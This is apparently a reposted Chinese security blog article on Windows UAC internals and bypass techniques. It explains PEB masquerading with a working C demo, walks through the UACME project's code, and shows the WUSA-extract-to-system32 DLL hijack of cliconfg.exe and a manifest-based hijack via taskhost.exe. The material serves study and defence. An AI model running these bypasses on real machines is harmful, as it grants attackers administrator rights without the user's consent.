天天看點

BypassUAC原理及方法彙總——各類的UAC白名單程式的DLL劫持;各類自動提升權限的COM接口利用(Elevated COM interface) ;Windows 自身漏洞提權;遠端注入

BypassUAC原理及方法彙總

from:https://www.anquanke.com/post/id/216808#h2-0 

釋出時間:2020-09-21 14:30:06

BypassUAC原理及方法彙總——各類的UAC白名單程式的DLL劫持;各類自動提升權限的COM接口利用(Elevated COM interface) ;Windows 自身漏洞提權;遠端注入

本文為UAC繞過方式的一些總結,輔以一些個人了解,請各位大佬指正。

什麼是UAC

根據MSDN中的文檔,User Account Control(UAC)是在Windows Vista 以後版本中引入的一種安全機制,針對具有有限權限的賬戶.

通過 UAC,應用程式和任務可始終在非管理者帳戶的安全上下文中運作,除非管理者特别授予管理者級别的系統通路權限。UAC 可以阻止未經授權的應用程式自動進行安裝,并防止無意中更改系統設定。
BypassUAC原理及方法彙總——各類的UAC白名單程式的DLL劫持;各類自動提升權限的COM接口利用(Elevated COM interface) ;Windows 自身漏洞提權;遠端注入

Launched with virtualization意味着對系統資料庫或者檔案系統的更改會在程式結束時失效

launched without elevated privilege 即在非特權級下運作

從上圖中,我們看到如果想擷取管理者權限(讓程式在特權級運作),有以下幾種方式:

  • 通過run as administer/ 在shell中執行runas
  • 未啟用UAC
  • 程序已經擁有管理權限控制
  • 程序被使用者允許通過管理者權限運作

UAC的實作

ACL(Access Control List):Windows 中所有資源都有 ACL ,這個清單決定了擁有何種權限的使用者/程序能夠這個資源。

在開啟了 UAC 之後,如果使用者是标準使用者, Windows 會給使用者配置設定一個标準 

Access Token

如果使用者以管理者權限登陸,會生成兩份通路令牌,一份是完整的管理者通路令牌(Full Access Token),一份是标準使用者令牌。一般情況下會以标準使用者權限啟動 Explorer.exe 程序。如果使用者同意,則賦予完整管理者權限通路令牌進行操作。

可以使用

whoami /priv

 看目前的權限

BypassUAC原理及方法彙總——各類的UAC白名單程式的DLL劫持;各類自動提升權限的COM接口利用(Elevated COM interface) ;Windows 自身漏洞提權;遠端注入

在研究一些對抗方法的時候,我們可以從“安全總是要讓步于業務”這個不成文的規則入手,不管是一些為了使用者體驗導緻的安全性上的犧牲,或者是為了業務邏輯不得不做的一些不安全配置都是因為如此,舉一個例子:我們在開啟UAC的情況下,向安裝位置在%PROGRAMFILES%安裝檔案時,總會彈出UAC提示,但是我們安裝完成後,在進行程式解除安裝時卻不會彈出任何UAC提示,細心的思考一下,你可能就會開始琢磨其中的端倪。本質上是因為Widnows為這些程式(或者接口)開啟了autoElevate,也就是說Windows系統本身維護了一批這樣的在UAC白名單中的程式,而我們就可以利用他們來繞過UAC,當然,這隻是其中一種方式.

觸發UAC

  • 配置Windows Update
  • 增加或删除使用者賬戶
  • 改變使用者的賬戶類型
  • 改變UAC設定
  • 安裝ActiveX
  • 安裝或移除程式
  • 安裝裝置驅動程式
  • 設定家長控制
  • 将檔案移動或複制到Program Files或Windows目錄
  • 檢視其他使用者檔案夾

等等有很多,具體參考這裡

觸發流程:

在觸發 

UAC

 時,系統會建立一個

consent.exe

程序,該程序用以确定是否建立管理者程序(通過白名單和使用者選擇判斷),然後

creatprocess

請求程序,将要請求的程序cmdline和程序路徑通過LPC接口傳遞給appinfo的RAiLuanchAdminProcess函數,該函數首先驗證路徑是否在白名單中,并将結果傳遞給consent.exe程序,該程序驗證被請求的程序簽名以及發起者的權限是否符合要求,然後決定是否彈出UAC框讓使用者進行确認。這個UAC框會建立新的安全桌面,屏蔽之前的界面。同時這個UAC框程序是SYSTEM權限程序,其他普通程序也無法和其進行通信互動。使用者确認之後,會調用CreateProcessAsUser函數以管理者權限啟動請求的程序

BypassUAC

目前公開的繞過UAC的幾種方式:

  1. 各類的UAC白名單程式的DLL劫持
  2. 各類自動提升權限的COM接口利用(Elevated COM interface)
  3. Windows 自身漏洞提權
  4. 遠端注入

本文主要論述前兩種方法

UACME

在分析之前,先介紹一個項目:https://github.com/hfiref0x/UACME,内含60+種BypassUAC的方法,後續會提到,其中包括的工具清單如下:

  • Akagi 是項目的主程式,其中包含了所有的Methods,繞過UAC的主要方法的源碼都在Method目錄下,會以UAC繞過方法的發現者的名字來命名源檔案。
  • Akatsuki 又叫做“曉”,WOW64 logger繞過UAC的利用方法的DLL源碼
  • Fubuki 又叫做“暴風雪“,好幾個繞過UAC利用的代理DLL,他們都共用了劫持Ole32.dll的方法
  • Hibiki 又叫做“聲音”,AVRF方法繞過UAC的利用方法的DLL源碼
  • Ikazuchi 又叫做”雷聲“,利用劫持 comctl32.dll 元件繞過UAC的利用方法的DLL源碼
  • Inazuma 又叫做“閃電”,SHIM相關利用的繞過UAC的利用方法的EXE源碼
  • Kamikaze 又叫做“神風”,未在工程檔案中引用,MMC劫持方法利用的MSC檔案
  • Kongou 又叫做“金剛”,利用Hybrid方法繞過UAC的Dll,已經排除在新工程中的引用了
  • Naka 又叫做“空氣”,壓縮及亦或編碼的小工具源碼
  • Yuubari Aka UACView用來檢視相關UAC的設定資訊,以及掃描存在可利用的程式的工具

clone到本地後,用VS2019打開,選擇uacme.vcxproj,以Release|x64去build(這個根據需要,64位系統就用x64),然後

ctrl+b

build項目,生成的項目在source/Akag/output下

BypassUAC原理及方法彙總——各類的UAC白名單程式的DLL劫持;各類自動提升權限的COM接口利用(Elevated COM interface) ;Windows 自身漏洞提權;遠端注入

Akagi64

使用

vs2019

本地編譯後可以使用

akagi32 41

或者

akagi64 41

啟動程式,

41

這個指的是

README

中描述的方法索引,運作後可以直接得到管理者權限的

cmd

視窗。

BypassUAC原理及方法彙總——各類的UAC白名單程式的DLL劫持;各類自動提升權限的COM接口利用(Elevated COM interface) ;Windows 自身漏洞提權;遠端注入

Yuubari

編譯方法同上,會生成一個UacInfo64.exe,該工具可以快速檢視系統的UAC設定資訊以及所有可以利用的程式和COM元件,使用方法如下(會在同一目錄下生成一個log檔案記錄所有輸出結果)

BypassUAC原理及方法彙總——各類的UAC白名單程式的DLL劫持;各類自動提升權限的COM接口利用(Elevated COM interface) ;Windows 自身漏洞提權;遠端注入

這個怎麼看,後面會說

利用白名單

上文也已經分析了,如果程序本身具有管理者權限或者可以直接擷取管理者權限的話,就不會彈出UAC框讓使用者确認,這類程式被稱為白名單程式,例如:

slui.exe

wusa.exe

taskmgr.exe

msra.exe

eudcedit.exe

eventvwr.exe

CompMgmtLauncher.exe

rundll32.exe

explorer.exe

等等。

常見的利用方式有:

  • DLL

    注入(

    RDI

    技術),一般注入到常駐記憶體的可信程序,如:

    explorer

  • DLL

    劫持,常和系統資料庫配合使用達到劫持目的

僞裝成白名單的方法

後續提到的很多方法都需要白名單的程序調用才能自動提權,但是我們的程式本身是我不在白名單的,此時就需要使用僞裝白名單的方式來僞裝成白名單的調用,使用的方法是僞裝程序PEB.

PEB結構(Process Envirorment Block Structure). 英文翻譯過來就是程序環境資訊塊,微軟并未完全公布該結構的所有字段含義,隻是公布了部分的.該結構中存放了程序資訊,每個程序都有自己的 PEB 資訊。通過修改目标程序的PEB結構中的路徑資訊和指令行資訊為想要僞裝的對象一緻,就可以将目标程序僞裝成想要僞裝的目标.實作原理如下:

  1. 通過NtQueryInformationProcess函數擷取指定程序PEB位址。因為該程序與我們的程序可能不在一個程序空間内,是以需要調用WIN32API函數ReadProcessMemory和WriteProcessMemory函數來讀寫目标程序記憶體。
  2. 根據PEB中的ProcessParameters來擷取并修改指定程序的RTL_USER_PROCESS_PARAMETERS資訊,這個結構體中儲存了PEB的路徑資訊、指令行資訊,修改之後,即可實作程序僞裝。

注意,如果修改程序運作在64位系統上,那麼就要編譯為64位;反之,如果修改程序運作在32位系統上,那麼就要編譯為32位。(跟被修改程序無關)這樣才能成功修改PEB。

幾個關鍵結構/函數:

typedef struct _PROCESS_BASIC_INFORMATION {
    PVOID Reserved1;
    PPEB PebBaseAddress; //peb的基位址
    PVOID Reserved2[2];
    ULONG_PTR UniqueProcessId;
    PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;
           

用NtQueryInformationProcess擷取到的記憶體資訊就是該結構的,其中的PebBaseAddress字段記錄了PEB的基位址,為一個_PEB的結構體指針

typedef struct _PEB {
  BYTE                          Reserved1[2];
  BYTE                          BeingDebugged; //被調試狀态 這個很多地方用到
  BYTE                          Reserved2[1];
  PVOID                         Reserved3[2];
  PPEB_LDR_DATA                 Ldr;
  PRTL_USER_PROCESS_PARAMETERS  ProcessParameters; // 程序參數資訊
  BYTE                          Reserved4[104];
  PVOID                         Reserved5[52];
  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
  BYTE                          Reserved6[128];
  PVOID                         Reserved7[1];
  ULONG                         SessionId;
} PEB, *PPEB;
           

主要用到ProcessParameters,PRTL_USER_PROCESS_PARAMETERS的結構為:

typedef struct _RTL_USER_PROCESS_PARAMETERS {
    BYTE Reserved1[16];
    PVOID Reserved2[10];
    UNICODE_STRING ImagePathName;
    UNICODE_STRING CommandLine;
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
           

我們隻要關注ImagePathName和CommandLine,是以來看看這個UNICODE_STRING結構:

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING;
           

然後是幾個關鍵函數:

BOOL ReadProcessMemory(
  _In_ HANDLE  hProcess, // 程序句柄
  _In_ LPCVOID lpBaseAddress, // 讀取基址 指向指定程序空間
  _Out_ LPVOID  lpBuffer, // 接收緩存
  _In_ SIZE_T  nSize, // 讀取大小
  _Out_opt_ SIZE_T  *lpNumberOfBytesRead // 接收資料的實際大小 可以設定為NULL
);
           

ReadProcessMemory函數從指定的程序中讀入記憶體資訊,被讀取的區域必須具有通路權限(PROCESS_VM_READ)。函數執行成功傳回非零值。否則傳回零,可以使用GetLastError函數擷取錯誤碼。

BOOL WriteProcessMemory(
  _In_ HANDLE  hProcess, // 程序句柄 INVALID_HANDLE_VALUE表示自身程序
  _In_ LPVOID  lpBaseAddress, // 寫入記憶體首位址
  _Out_ LPCVOID lpBuffer, // 指向欲寫入的資料
  _In_ SIZE_T  nSize, // 寫入大小
  _Out_opt_ SIZE_T  *lpNumberOfBytesWritten // 接收實際寫入大小 可以設定為NULL
);
           

WriteProcessMemory函數能寫入某一程序的記憶體區域。入口區必須可以通路(PROCESS_VM_WRITE和PROCESS_VM_OPERATION ),否則操作将失敗

這裡自己寫一個小Demo來幫助了解:

#include <stdio.h>
#include <Windows.h>
#include <winternl.h> //PEB Structures, NtQueryInformationProcess
#include <TlHelp32.h>

//prepare for call NtQueryInformationProcess func
typedef NTSTATUS(NTAPI* typedef_NtQueryInformationProcess)(
    IN HANDLE ProcessHandle,
    IN PROCESSINFOCLASS ProcessInformationClass,
    OUT PVOID ProcessInformation,
    IN ULONG ProcessInformationLength,
    OUT PULONG ReturnLength OPTIONAL
    );

// modify ImagePathName and CommandLine in PEB of specific process
BOOL DisguiseProcess(DWORD dwProcessId, wchar_t* lpwszPath, wchar_t* lpwszCmd) {

    // get handle of process
    /*
    OpenProcess(通路權限, 程序句柄是否被繼承, 要被打開的程序PID)
    */
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
    if (hProcess == NULL) {
        printf("Open Process error!");
        return FALSE;
    }

    // prepare for getting PEB
    typedef_NtQueryInformationProcess NtQueryInformationProcess = NULL;
    PROCESS_BASIC_INFORMATION pbi = { 0 };
    PEB peb = { 0 };
    RTL_USER_PROCESS_PARAMETERS Param = { 0 };
    USHORT usCmdLen = 0;
    USHORT usPathLen = 0;
    const WCHAR* NTDLL = L"ntdll.dll";

    //NtQueryInformationProcess這個函數沒有關聯的導入庫,必須使用LoadLibrary和GetProcessAddress函數從Ntdll.dll中擷取該函數位址
    NtQueryInformationProcess = (typedef_NtQueryInformationProcess)GetProcAddress(LoadLibrary(NTDLL), "NtQueryInformationProcess");
    if (NULL == NtQueryInformationProcess)
    {
        printf("GetProcAddress Error");
        return FALSE;
    }

    // get status of specific process
    NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
    if (!NT_SUCCESS(status))
    {
        printf("NtQueryInformationProcess failed");
        return FALSE;
    }

    // get PebBaseAddress in PROCESS_BASIC_INFORMATION of prococess
    ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
    // get ProcessParameters in PEB of process
    ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);

    // modify cmdline data
    usCmdLen = 2 + 2 * wcslen(lpwszCmd); // cal lenth of unicode str
    WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, usCmdLen, NULL);
    WriteProcessMemory(hProcess, &Param.CommandLine.Length, &usCmdLen, sizeof(usCmdLen), NULL);
    // modify path data
    usPathLen = 2 + 2 * wcslen(lpwszPath); // cal lenth of unicode str
    WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, usPathLen, NULL);
    WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &usPathLen, sizeof(usPathLen), NULL);

    return TRUE;
}

// get PID by ProcessName
DWORD FindProcId(const WCHAR* ProcName) {
    DWORD ProcId = 0; // target procId
    PROCESSENTRY32 pe32 = { 0 };  // to get snapshot structure
    pe32.dwSize = sizeof(PROCESSENTRY32);
    HANDLE hProcessShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // get snapshot list
    if (hProcessShot == INVALID_HANDLE_VALUE) {
        puts("get proc list error");
        return 0;
    }
    BOOL cProc = Process32First(hProcessShot, &pe32); // prepare for loop of proc snapshot list
    // compare proc name and get correct process Id
    while (cProc) {
        if (wcscmp(pe32.szExeFile, ProcName) == 0) {
            ProcId = pe32.th32ProcessID;
            break;
        }
        cProc = Process32Next(hProcessShot, &pe32);
    }
    return ProcId;
}

int main()
{
    const WCHAR* ProcessName = L"Calculator.exe";
    do {
        DWORD dwTargetId = FindProcId(ProcessName);
        if (0 == dwTargetId) {
            printf("can not find procIdn");
            break;
        }
        if (FALSE == DisguiseProcess(dwTargetId, (wchar_t*)L"C:\\Windows\\explorer.exe", (wchar_t*)L"C:\\Windows\\Explorer.EXE"))
        {
            printf("Dsisguise Process Error.");
            break;
        }
        printf("Disguise Process OK.");
    } while (FALSE);

    system("pause");
    return 0;
}
           

這裡有幾點需要注意的:

  1. 計算長度時,由于wcslen傳回的是unicode的字元個數,每個unicode字元占兩個位元組,在加上結尾的兩個空位元組,是以是2+2*wcslen(lpwszCmd)
  2. NtQueryInformationProcess這個函數沒有關聯的導入庫,必須使用LoadLibrary和GetProcessAddress函數從Ntdll.dll中擷取該函數位址

Demo運作後,會将Calculator.exe的cmdline和imagepath修改為指定程序的,如果想将路徑也僞裝正确,可以調用GetModuleFileNameEx、GetProcessImageFileName或者QueryFullProcessImageName等函數擷取僞裝程序的正确路徑

在UACME項目中,是由supMasqueradeProcess函數實作了該技術,原理是一樣的,隻不過該函數實作的是僞裝自身的資訊。

DLL劫持的幾種方式

DLL加載順序劫持

DLL劫持中最常見的一種劫持方法,即在程式所在目錄放置要劫持的DLL,程式啟動時首先從本目錄加載DLL,進而導緻DLL劫持,DLL的加載順序如下:

  • 1.程式所在目錄
  • 2.程式加載目錄(SetCurrentDirectory)
  • 3.系統目錄即 SYSTEM32 目錄
  • 4.16位系統目錄即 SYSTEM 目錄
  • 5.Windows目錄
  • 6.PATH環境變量中列出的目錄

PS:Windows作業系統通過“DLL路徑搜尋目錄順序”和“Know DLLs系統資料庫項”的機制來确定應用程式所要調用的DLL的路徑,之後,應用程式就将DLL載入了自己的記憶體空間,執行相應的函數功能

1号方法用的就是這種方法,以此為例分析一下,7号方法的資訊如下:

7.Author: Win32/Carberp derivative
  • Type: Dll Hijack
  • Method: WUSA
  • Target(s): \system32\cliconfg.exe
  • Component(s): ntwdblib.dll
  • Implementation: ucmWusaMethod
  • Works from: Windows 7 (7600)
  • Fixed in: Windows 10 TH1 (10147)
    • How: WUSA /extract option removed

這裡順便以7号方法為例,分析一下UACMe的代碼實作:

主程式:main.c,入口在ucmMain() 傳入一個method号,其中method是個枚舉類型_UCM_METHOD:

typedef enum _UCM_METHOD {
    UacMethodTest = 0,          //+
    UacMethodSysprep1 = 1,      //+
    UacMethodSysprep2,          //+
    UacMethodOobe,              //+
    UacMethodRedirectExe,       //+
    UacMethodSimda,             //+
    UacMethodCarberp1,          //+
    UacMethodCarberp2,          //+
    UacMethodTilon,             //+
    UacMethodAVrf,              //+
    UacMethodWinsat,            //+
    UacMethodShimPatch,         //+
    UacMethodSysprep3,          //+
    UacMethodMMC1,              //+
    UacMethodSirefef,           //+
    UacMethodGeneric,           //+
    UacMethodGWX,               //+
    UacMethodSysprep4,          //+
    UacMethodManifest,          //+
    UacMethodInetMgr,           //+
    UacMethodMMC2,              //+
    UacMethodSXS,               //+
    UacMethodSXSConsent,        //+
    UacMethodDISM,              //+
    UacMethodComet,             //+
    UacMethodEnigma0x3,         //+
    UacMethodEnigma0x3_2,       //+
    UacMethodExpLife,           //+
    UacMethodSandworm,          //+
    UacMethodEnigma0x3_3,       //+
    UacMethodWow64Logger,       //+
    UacMethodEnigma0x3_4,       //+
    UacMethodUiAccess,          //+
    UacMethodMsSettings,        //+
    UacMethodTyranid,           //+
    UacMethodTokenMod,          //+
    UacMethodJunction,          //+
    UacMethodSXSDccw,           //+
    UacMethodHakril,            //+
    UacMethodCorProfiler,       //+
    UacMethodCOMHandlers,       //+
    UacMethodCMLuaUtil,         //+
    UacMethodFwCplLua,          //+
    UacMethodDccwCOM,           //+
    UacMethodVolatileEnv,       //+
    UacMethodSluiHijack,        //+
    UacMethodBitlockerRC,       //+
    UacMethodCOMHandlers2,      //+
    UacMethodSPPLUAObject,      //+
    UacMethodCreateNewLink,     //+
    UacMethodDateTimeWriter,    //+
    UacMethodAcCplAdmin,        //+
    UacMethodDirectoryMock,     //+
    UacMethodShellSdclt,        //+
    UacMethodEgre55,            //+
    UacMethodTokenModUiAccess,  //+
    UacMethodShellWSReset,      //+
    UacMethodSysprep5,          //+
    UacMethodEditionUpgradeMgr, //+
    UacMethodDebugObject,       //+
    UacMethodGlupteba,          //+
    UacMethodShellChangePk,     //+
    UacMethodMsSettings2,       //+
    UacMethodMax,
    UacMethodInvalid = 0xabcdef
} UCM_METHOD;
           

這些是所有支援的BypassUAC的方式,對應着readme中列舉出來的方法

接着就是一些初始化和檢查,直接到MethodsManagerCall函數,該函數會在調用前做一些準備工作,包括如果需要額外的payload,會從資源檔案中解密出來.MethodsManagerCall還會根據傳入的Method号在ucmMethodsDispatchTable這個結構體找到調用方法

BypassUAC原理及方法彙總——各類的UAC白名單程式的DLL劫持;各類自動提升權限的COM接口利用(Elevated COM interface) ;Windows 自身漏洞提權;遠端注入

ucmMethodsDispatchTable是一個UCM_API_DISPATCH_ENTRY的結構體數組,跟着看這個結構體的定義

// UCM_API_DISPATCH_ENTRY定義
typedef struct _UCM_API_DISPATCH_ENTRY {
    PUCM_API_ROUTINE Routine;               //執行的方法
    PUCM_EXTRA_CONTEXT ExtraContext;        //該方法執行時依賴的額外内容
    UCM_METHOD_AVAILABILITY Availability;   //可行的最小/最大windows版本号
    ULONG PayloadResourceId;                //使用的payload dll
    BOOL Win32OrWow64Required;
    BOOL DisallowWow64;
    BOOL SetParameters;                     //是否需要shared參數被設定
} UCM_API_DISPATCH_ENTRY, *PUCM_API_DISPATCH_ENTRY;
           

在解析完結構體後,根據配置,加載額外的内容或payload.之後擷取其他指令行參數,這裡需要重點關注Routine,這個結構體變量,該變量是一個PUCM_API_ROUTINE類型的變量,定義如下:

typedef NTSTATUS(CALLBACK *PUCM_API_ROUTINE)(
    _In_ PUCM_PARAMS_BLOCK Parameter
    );
//稍微擴充一下:
typedef NTSTATUS(__stdcall *PUCM_API_ROUTINE)(
    _In_ PUCM_PARAMS_BLOCK Parameter
    );
           

即PUCM_API_ROUTINE是一個指向“接受一個PUCM_PARAMS_BLOCK類型作為參數并回傳一個NTSTATUS類型值的函數”的指針别名,也就是說可以通過該函數指針去調用該函數.接着看PUCM_PARAMS_BLOCK:

typedef struct tagUCM_PARAMS_BLOCK {
    UCM_METHOD Method;
    PVOID PayloadCode;
    ULONG PayloadSize;
} UCM_PARAMS_BLOCK, *PUCM_PARAMS_BLOCK;
           

PUCM_PARAMS_BLOCK是一個tagUCM_PARAMS_BLOCK的結構體指針,追到這裡就可以不用在追了,将關鍵代碼抽出來看:

Entry = &ucmMethodsDispatchTable[Method];

ParamsBlock.Method = Method;
ParamsBlock.PayloadCode = PayloadCode;
ParamsBlock.PayloadSize = PayloadSize;

MethodResult = Entry->Routine(&ParamsBlock);
           

Entry找到了結構體内對應method的入口,也就是

{ MethodCarberp, NULL, { 7600, 10147 }, FUBUKI_ID, FALSE, TRUE, TRUE },

這一項,這裡作出分析,

MethodResult = Entry->Routine(&ParamsBlock);

這裡其實等價于:

`MethodResult = MethodCarberp(&ParamsBlock)

,我們看MethodCarberp的定義:

//#define UCM_API(n) NTSTATUS CALLBACK n(_In_ PUCM_PARAMS_BLOCK Parameter)  
UCM_API(MethodCarberp)
{
    //
    // Additional checking for UacMethodCarberp1. 
    // Target application 'migwiz' unavailable in Syswow64 after Windows 7.
    //
    if (Parameter->Method == UacMethodCarberp1) {
        if ((g_ctx->IsWow64) && (g_ctx->dwBuildNumber > 7601)) {
            ucmShowMessage(g_ctx->OutputToDebugger, WOW64STRING);
            return STATUS_UNKNOWN_REVISION;
        }
    }
    return ucmWusaMethod(
        Parameter->Method,
        Parameter->PayloadCode,
        Parameter->PayloadSize);
}
           

可見最終調用了ucmWusaMethod這個函數,将關鍵代碼摘出來分析下:

/*
* ucmWusaMethod
*
* Purpose:
*
* Build and install fake msu package then run target application.
*
* Fixed in Windows 10 TH1
*
*/
NTSTATUS ucmWusaMethod(
    _In_ UCM_METHOD Method,
    _In_ PVOID ProxyDll,
    _In_ DWORD ProxyDllSize
)
{
    NTSTATUS    MethodResult = STATUS_ACCESS_DENIED;
    WCHAR       szSourceDll[MAX_PATH * 2];
    WCHAR       szTargetProcess[MAX_PATH * 2];
    WCHAR       szTargetDirectory[MAX_PATH * 2];

    _strcpy(szTargetProcess, g_ctx->szSystemDirectory);
    _strcpy(szTargetDirectory, g_ctx->szSystemDirectory);
    _strcpy(szSourceDll, g_ctx->szTempDirectory);

    switch (Method) {
    //
    // Use cliconfg.exe as target.
    // szTargetDirectory is system32
    //
    case UacMethodCarberp2:
        _strcat(szSourceDll, NTWDBLIB_DLL);
        _strcat(szTargetProcess, CLICONFG_EXE);
        break;

    default:
        return STATUS_INVALID_PARAMETER;
    }

    if (!PathFileExists(szTargetProcess)) {
        return STATUS_OBJECT_NAME_NOT_FOUND;
    }

    //
    // Extract file to the protected directory
    // First, create cab with fake msu ext, second run fusion process.
    //
    if (ucmCreateCabinetForSingleFile(
        szSourceDll,
        ProxyDll,
        ProxyDllSize,
        NULL))
    {

        if (ucmWusaExtractPackage(szTargetDirectory)) {
            //run target process for dll hijacking
            if (supRunProcess(szTargetProcess, NULL))
                MethodResult = STATUS_SUCCESS;
        }
        ucmWusaCabinetCleanup();
    }

    return MethodResult;
}
           

經過分析可以發現BypassUAC的流程為:

  1. 生成ellocnak.msu,此檔案是一個cab格式的檔案,内容為ntwdblib.dll檔案(該檔案為程式生成的加密Payload),檔案放置在使用者臨時目錄下
  2. 通過之前介紹的WUSA将ellocnak.msu解壓到system32目錄下

    cmd.exe /c wusa %temp%\ellocnak.msu /extract:%windir%\system32

    BypassUAC原理及方法彙總——各類的UAC白名單程式的DLL劫持;各類自動提升權限的COM接口利用(Elevated COM interface) ;Windows 自身漏洞提權;遠端注入
  3. 運作C:\windows\system32\cliconfg.exe,進行DLL劫持

該方法劫持了cliconfig.exe對ntwdblib.dll的加載。

跟進生成的payload,看一下具體怎麼實作的bypassUAC:

payload是在_UCM_API_DISPATCH_ENTRY中PayloadResourceId字段指明的,但這個字段隻是一個payload的資源辨別符,真正處理的的部分在methods.c中的supLdrQueryResourceData函數,代碼如下:

Resource = supLdrQueryResourceData(
      Entry->PayloadResourceId,
      ImageBaseAddress,
      &DataSize);
           

supLdrQueryResourceData中的關鍵部分如下:

if (DllHandle != NULL) {

        IdPath[0] = (ULONG_PTR)RT_RCDATA; //type
        IdPath[1] = ResourceId;           //id
        IdPath[2] = 0;                    //lang

        status = LdrFindResource_U(DllHandle, (ULONG_PTR*)&IdPath, 3, &DataEntry);
        if (NT_SUCCESS(status)) {
            status = LdrAccessResource(DllHandle, DataEntry, (PVOID*)&Data, &SizeOfData);
            if (NT_SUCCESS(status)) {
                if (DataSize) {
                    *DataSize = SizeOfData;
                }
            }
        }
    }
           

其中LdrFindResource_U和LdrAccessResource都是從NTdll中導出的API,LdrFindResource_U會根據資源ID找到相應的資源,如果找到,則傳回相應的句柄,後續應該使用LdrAccessResource來使用該句柄,這兩個API都沒有找到有人分析的使用方法,但是可以跟進payload中,其拓展如下:

BypassUAC原理及方法彙總——各類的UAC白名單程式的DLL劫持;各類自動提升權限的COM接口利用(Elevated COM interface) ;Windows 自身漏洞提權;遠端注入

這裡又可以在bin32res.rc中找到資源檔案的路徑,這裡就是加密的payload的了,剛剛我們看到在定義IDPath時,第一項type值為RT_RCDATA,指明了該資源是由.rc檔案中的RCDATA字段指出其位置的,可以看到就是bin/fubuki32.cd

BypassUAC原理及方法彙總——各類的UAC白名單程式的DLL劫持;各類自動提升權限的COM接口利用(Elevated COM interface) ;Windows 自身漏洞提權;遠端注入

我們接着在程式中尋找解密的算法,其解密算法在compress.c中的DecompressPayload函數中定義:

PVOID DecompressPayload(
    _In_ ULONG PayloadId,
    _In_ PVOID pbBuffer,
    _In_ ULONG cbBuffer,
    _Out_ PULONG pcbDecompressed
)
           

其對應的參數為:

PayloadCode = g_ctx->DecompressRoutine(Entry->PayloadResourceId, Resource, DataSize, &PayloadSize);

Resource是加密的資源檔案,在這裡處理了加密過程

BypassUAC原理及方法彙總——各類的UAC白名單程式的DLL劫持;各類自動提升權限的COM接口利用(Elevated COM interface) ;Windows 自身漏洞提權;遠端注入

受篇幅所限,這裡就不繼續跟下去了,有興趣的讀者可以繼續,其中密鑰被放在了secrets.h中.這種方法就先說到這裡

該項目中大部分Bypass UAC的方式都是這種DLL劫持的方法,隻是劫持的DLL和EXE有所不同。

使用manifest檔案進行DLL劫持

利用manifest進行Bypass UAC的方式是微軟在修複一次由DLL加載順序劫持導緻的Bypass UAC時自己暴露出來的一種Bypass UAC的可行方案。

介紹一下manifest:

XP以前版本的windows,執行EXE時會像之前介紹的順序尋找相應的dll,Manifest隻是個多餘的檔案或資源,dll檔案會直接到system32的目錄下查找,并且調用。

而XP及其以後的作業系統,則會首先讀取Manifest,獲得exe檔案需要調用的DLL清單(此時獲得的,并不直接是DLL檔案的本身的位置,而是DLL的manifest)作業系統再根據DLL的Manifest提供的資訊去尋找對應的DLL ,這樣就可能差別不同版本的同一個DLL檔案。

在Windows中有些可執行程式沒有内置的manifest,假設這個程式叫test.exe,如果攻擊者在該可執行程式目錄下建立一個test.exe.manifest并在manifest檔案中指定file元素,則test.exe執行時會加載file元素中loadFrom屬性指定的DLL(loadFrom的dll不能在KnownDlls中)

方法18就是采用這種方法,詳情如下:

Author: Leo Davidson derivative
    Type: Dll Hijack (Manifest)
    Method: IFileOperation
    Target(s): \system32\taskhost.exe, \system32\tzsync.exe (any ms exe without manifest)
    Component(s): Attacker defined
    Implementation: ucmAutoElevateManifest
    Works from: Windows 7 (7600)
    Fixed in: Windows 10 RS1 (14371)
        How: Manifest parsing logic reviewed
           

BypassUAC的過程如下(以win7版本為例)

  1. 先從C:\windows\system32下拷貝taskhost.exe到%temp%\臨時目錄下,再利用高權限程序把taskhost.exe拷貝到C:\windows下
  2. 在C:\windows\system32\sysprep下寫一個cryptbase.dll(因為在C:\windows\system32\下本身存在cryptbase.dll,為了不影響系統功能,需要将攻擊者自定義内容的cryptbase.dll拷貝到其他地方)并将payload注入到cryptbase.dll中
  3. 在C:\windows下寫入taskhost.exe.manifest檔案.由于taskhost.exe無内置清單檔案,是以會從manifest中指定的路徑加載DLL即C:\Windows\system32\sysprep\cryptbase.DLL(該DLL的名稱可變,但file标簽下name的值也需要相應變化,這個标簽指明了taskhost.exe會自動加載的dll名稱,即cryptbase.DLL)

我們看一下taskhost.exe.manifest的内容

<?xml version='1.0' encoding='utf-8' standalone='yes'?>
<assembly
    xmlns="urn:schemas-microsoft-com:asm.v1"
    xmlns:asmv3="urn:schemas-microsoft-com:asm.v3"
    manifestVersion="1.0"
>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
<security>
<requestedPrivileges>
<requestedExecutionLevellevel="requireAdministrator"uiAccess="false" />
</requestedPrivileges>
</security>
</trustInfo>
<asmv3:application>
<asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
<autoElevate>true</autoElevate>
</asmv3:windowsSettings>
</asmv3:application>
<fileloadFrom="C:\Windows\system32\sysprep\cryptbase.DLL"name="cryptbase.DLL" />
</assembly>
           

在這個方法中,還有一點值得一提,那就是怎麼向系統目錄中寫檔案而不觸發UAC,在項目中,ucmMasqueradedMoveFileCOM這個函數提供了向特權目錄寫而不觸發UAC的功能,其是通過借助IFileOperation COM對象進行操作的.

IFileOperation COM對象進行檔案操作是可以自動提升權限(AutoElevate)(從标準使用者到管理者使用者),但是它會檢查目前使用該COM對象的程序是否為白名單程序,僅白名單程序的條件下可以進行自動權限提升。

在白名單程序中使用IFileOperation COM向受保護目錄寫檔案時不會彈出UAC視窗。

使用WinSxS機制進行DLL劫持

